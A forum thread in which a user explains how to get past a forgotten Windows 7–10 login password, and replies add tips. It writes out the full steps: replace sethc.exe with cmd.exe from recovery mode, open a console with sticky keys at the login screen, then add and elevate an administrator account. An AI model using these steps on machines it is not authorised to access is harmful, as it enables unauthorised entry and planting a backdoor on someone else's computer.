Bypass Windows 8 Password

[lwbm]

I got a little stuck with a lack of password recently. My usual toolkit proved futile. After much googlemashing, I came up with the below.
As far as I understand, this exploit has been available for a while, tested on 7, 8 and 8.1
Update 06/09/2016
Also works for Windows 10

Full Post - http://community.spiceworks.com/topic/568936-personal-laptops-windows-8-passwords-and-sticky-keys

Step 1: Get in to Recovery

You’ll need a recovery/install disk/USB for the OS you’re modifying.
Boot into recovery mode and open a console.

Step 2: Copy sethc.exe to cmd.exe

copy c:\windows\system32\sethc.exe c:\ (assuming C is the OS)

copy /y c:\windows\system32\cmd.exe c:\windows\system32/sethc.exe

shutdown.exe –r (or back out of the menu to a reboot)

Step 3: Once Rebooted

As soon as the login screen appears, mash the shift key, five times

A console should open

Step 4: Add an Account and Elevate it

net user LWBM P455w0rd123 /add

net localgroup administrators LWBM /add
(it did shoot an error, not one that concerned me)

Sticky keys have been around for ages. A little known fact.
The above gives you the ability to add a 2nd (or 1st) Admin account, log in and get crackin’

Be gone with your K0nb00t, Ophcrack, NTM Changer - Windows has it built in!

[mikey-b (Mike-2308)]

That’s a pretty creative work-around. I like it!

[daneryan (D.R Ryan)]

Agreed!
This is a nice little write up for those times you don’t have a Hiren’s laying around.
But then again, you would need to have a install disk laying around. (Much higher chance of having install disk to be fair.)

Have a pepper.

[lwbm]

This wont work for Windows Starter edition … apparently. … Tried | Failed

[khix]

You might not even need the install disc, chances are there’s a recovery partition so you could go in there straight away.

Very useful feature, thanks for the tip!